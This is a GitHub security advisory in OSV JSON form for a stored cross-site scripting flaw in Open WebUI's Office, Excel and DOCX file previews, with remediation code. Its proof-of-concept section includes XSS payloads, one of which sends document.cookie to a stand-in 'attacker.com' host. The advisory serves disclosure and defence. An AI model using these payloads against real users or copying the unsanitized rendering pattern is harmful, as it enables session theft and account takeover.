CVE-2026-45318: Open webui Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hcwp-82g6-8wxc",
  "modified" : "2026-05-19T15:58:48Z",
  "published" : "2026-05-14T20:18:27Z",
  "aliases" : [ "CVE-2026-45318" ],
  "summary" : "Open WebUI has stored XSS via unsanitized Office/Excel/DOCX file preview rendering ({@html} without DOMPurify)",
  "details" : "## Related advisory\n\nThis advisory tracks a regression of the original Excel-preview XSS that was \npublicly disclosed and patched under [GHSA-jwf8-pv5p-vhmc](https://github.com/open-webui/open-webui/security/advisories/GHSA-jwf8-pv5p-vhmc) \n(patched in v0.8.0). The same root cause — `XLSX.utils.sheet_to_html()` output \nrendered via `{@html excelHtml}` without DOMPurify — was reintroduced sometime \nafter v0.8.0 and is exploitable again as of v0.8.12 and through the version \nrange listed above. This advisory additionally covers the related \n`fileOfficeHtml` sink in `src/lib/components/chat/FileNav.svelte` \n(lines 458 and 1285) which was not part of the jwf8 advisory's scope.\n\n## Summary\n\nOpen WebUI renders user-uploaded Office files (Excel, DOCX) as HTML using Svelte's `{@html}` directive **without DOMPurify sanitization**. While the codebase has DOMPurify available and uses it in 9 out of 23 `{@html}` locations (39%), three file-preview rendering paths bypass it entirely, allowing Stored XSS when a user uploads a malicious document.\n\nThis is a classic **defense propagation failure**: the sanitization primitive exists in the codebase but is not consistently applied to all rendering surfaces.\n\n## Root Cause\n\n**The defense primitive exists**: `DOMPurify.sanitize()` is imported and used in components like `General.svelte`, `MarkdownInlineTokens.svelte`, `Banner.svelte`, and `SVGPanZoom.svelte`.\n\n**But 3 file-preview paths skip it**:\n\n### Occurrence 1: FilePreview.svelte — Office HTML\n\n**File**: `src/lib/components/chat/FileNav/FilePreview.svelte` line 324\n\n```svelte\n{:else if fileOfficeHtml !== null}\n    <div class=\"office-preview overflow-auto flex-1 min-h-0\">\n        {@html fileOfficeHtml}   <!-- NO DOMPurify! -->\n    </div>\n```\n\n`fileOfficeHtml` is generated from user-uploaded Office files (PPT, DOC, etc.) converted to HTML. The HTML is rendered directly without sanitization.\n\n### Occurrence 2: FileItemModal.svelte — Excel HTML\n\n**File**: `src/lib/components/common/FileItemModal.svelte` line 560\n\n```svelte\n{@html excelHtml}   <!-- NO DOMPurify! -->\n```\n\n`excelHtml` is generated from user-uploaded Excel files converted to HTML tables. No sanitization applied.\n\n### Occurrence 3: FileItemModal.svelte — DOCX HTML\n\n**File**: `src/lib/components/common/FileItemModal.svelte` line 590\n\n```svelte\n{@html docxHtml}   <!-- NO DOMPurify! -->\n```\n\n`docxHtml` is generated from user-uploaded DOCX files converted to HTML. No sanitization applied.\n\n## Contrast with Sanitized Paths\n\nFor comparison, the same codebase correctly sanitizes in other locations:\n\n```svelte\n<!-- MarkdownInlineTokens.svelte:130 — SAFE -->\n{@html DOMPurify.sanitize(token.text, { ADD_ATTR: ['target'] })}\n\n<!-- General.svelte:276 — SAFE -->\n{@html DOMPurify.sanitize($config?.license_metadata?.html)}\n\n<!-- Banner.svelte:103 — SAFE -->\n{@html DOMPurify.sanitize(marked.parse(...))}\n```\n\n## Defense Propagation Gap\n\n| Metric | Value |\n|--------|-------|\n| Total `{@html}` usages | 23 |\n| With DOMPurify | 9 (39%) |\n| **Without DOMPurify** | **14 (61%)** |\n| Confirmed exploitable (file preview) | **3** |\n\nThe remaining 11 unsanitized `{@html}` usages include syntax highlighting (`hljs`), KaTeX math rendering, and `marked.parse()` with `sanitizeResponseContent()` pre-processing — these have varying levels of inherent safety but still represent inconsistent defense application.\n\n## Tested Version\n\n- Open WebUI v0.8.12 (commit `9bd8425`, tag `v0.8.12`)\n\n## Steps to Reproduce\n\n### PoC 1: Malicious Excel File\n\n1. Create a `.xlsx` file with a cell containing:\n   ```\n   <img src=x onerror=\"alert(document.cookie)\">\n   ```\n   (Using a library like openpyxl to inject raw HTML into cell values)\n\n2. Upload the file to Open WebUI via the chat file upload\n\n3. When any user previews the file → `excelHtml` renders the injected HTML → **XSS fires**\n\n### PoC 2: Malicious DOCX File\n\n1. Create a `.docx` file with embedded HTML:\n   ```xml\n   <w:r><w:t><![CDATA[<svg onload=\"fetch('https://attacker.com/steal?c='+document.cookie)\">]]></w:t></w:r>\n   ```\n\n2. Upload to Open WebUI\n\n3. File preview renders `docxHtml` → **XSS fires**\n\n### PoC 3: Verify Rendering Path\n\n```javascript\n// In browser devtools on Open WebUI, after uploading a file:\n// The file preview component renders:\n//   FileItemModal → {@html excelHtml}  // no DOMPurify\n//   FileItemModal → {@html docxHtml}   // no DOMPurify\n//   FilePreview   → {@html fileOfficeHtml}  // no DOMPurify\n\n// Compare with safe path:\n//   NotebookView → {@html DOMPurify.sanitize(toStr(output.data['text/html']))}  // sanitized!\n```\n\n## Impact\n\n- **Stored XSS** — malicious file is stored server-side, XSS fires for every user who previews it\n- **Session hijacking** via `document.cookie` theft\n- **Account takeover** — attacker can perform actions as the victim user\n- **Data exfiltration** — read chat history, API keys, uploaded documents\n- **Multi-user environments** — shared Open WebUI instances are especially vulnerable (one malicious upload affects all viewers)\n- **Defense propagation failure** — DOMPurify is available and used elsewhere, but not applied to file preview paths\n\n## Suggested Remediation\n\nApply DOMPurify to all three file preview paths:\n\n```svelte\n<!-- FilePreview.svelte:324 — FIX -->\n{@html DOMPurify.sanitize(fileOfficeHtml)}\n\n<!-- FileItemModal.svelte:560 — FIX -->\n{@html DOMPurify.sanitize(excelHtml)}\n\n<!-- FileItemModal.svelte:590 — FIX -->\n{@html DOMPurify.sanitize(docxHtml)}\n```\n\nAlternatively, adopt a **defense-by-default pattern**: create a wrapper component that always applies DOMPurify, making unsanitized `{@html}` usage a code review flag.\n\n## References\n\n- CWE-79: Improper Neutralization of Input During Web Page Generation (XSS)\n- OWASP XSS Prevention Cheat Sheet\n- GHSA-x75g-rp99-qqpx: Previous Open WebUI report (DNS rebinding TOCTOU, different vulnerability class)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "open-webui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.9.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.9.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-hcwp-82g6-8wxc"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-jwf8-pv5p-vhmc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45318"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/open-webui/open-webui"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/releases/tag/v0.9.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-14T20:18:27Z",
    "nvd_published_at" : "2026-05-15T22:16:54Z"
  }
}